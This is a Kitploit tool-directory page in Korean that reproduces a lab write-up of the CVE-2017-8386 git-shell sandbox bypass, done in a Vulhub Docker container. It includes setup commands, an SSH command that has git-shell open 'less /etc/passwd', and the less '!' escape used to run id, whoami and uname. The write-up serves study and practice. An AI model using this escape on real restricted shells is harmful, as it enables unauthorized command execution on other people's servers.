Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
WHS3_vulhub — CVE-2017-8386 Git-Shell 샌드박스 우회 취약점에 대한 PoC | Kitploit
도구/GitHubGitHub/suz1n/whs3_vulhub
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsuz1n/whs3_vulhub

WHS3_vulhub

CVE-2017-8386 Git-Shell 샌드박스 우회 취약점에 대한 PoC

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC

정수진(@suz1n)

개요

Git-shell은 SSH를 통해 제한된 git 명령만 허용하는 환경을 제공합니다. 하지만 특정 버전의 git-shell(2.12.2 등)에서는 less 명령어를 악용해 sandbox를 우회하고 시스템 명령어를 실행할 수 있는 취약점(CVE-2017-8386)이 존재합니다.

본 보고서는 해당 취약점에 대한 PoC를 진행하고 과정을 정리한 것입니다.

환경 구축

사용 도구 및 버전

  • Docker: 24.0.7
  • Docker-Compose: v2.34.0
  • Host OS: macOS
  • Target OS: Ubuntu 16.04 (컨테이너 내부)
  • Git Version: 2.12.2
  • SSH Server

Vulhub 레포지토리 클론

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/ Image1

docker-compose.yml 및 Dockerfile 구성

root@kitploit:~
• Ubuntu 16.04 베이스 이미지
• Git 2.12.2 소스 설치
• OpenSSH 서버 설치 및 실행
• git-shell 환경 설정 (git 사용자 생성)

컨테이너 빌드 및 실행

docker-compose build

docker-compose up -d

docker ps

root@kitploit:~
• 컨테이너 실행 확인 (git-shell-cve-2017-8386)

Image2

SSH 키 등록 및 환경 설정

root@kitploit:~
1. 로컬에서 id_rsa.pub 생성 및 복사
2. 컨테이너 내부 접속 및 git 사용자로 전환
3. authorized_keys 등록

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Image3

추가 패키지 설치

apt update

apt install less -y

apt install man-db -y

root@kitploit:~
• PoC 수행을 위해 less, man 패키지 설치 완료

PoC 과정

정상적인 SSH 접속

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• less 화면 진입 성공

• ! 명령어를 통해 시스템 명령어 실행 가능

명령어 실행 (sandbox 우회)

• !id -> 사용자 ID, 그룹 ID 출력 first_execute.png

• !whoami -> 현재 사용자(git)

• !uname -a -> 시스템 커널 정보 출력

• !ls /home/git -> git 홈 디렉토리 파일 목록 출력

분석

root@kitploit:~
• git-shell 환경에서는 사용자가 시스템 명령어를 실행할 수 없게 제한함.
• 그러나 `git-upload-archive --help` 명령어를 통해 내부적으로 less 호출이 가능.
• less 명령어는 ! 기능을 통해 시스템 쉘 명령 실행을 지원.
• 결과적으로 git-shell sandbox를 우회하여 임의 명령어 실행이 가능함.

레퍼런스

• Insinuator 블로그: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Vulhub GitHub Repository: https://github.com/phith0n/vulhub

GitHub 레포지토리 링크

https://github.com/suz1n/WHS3_vulhub

도구 다운로드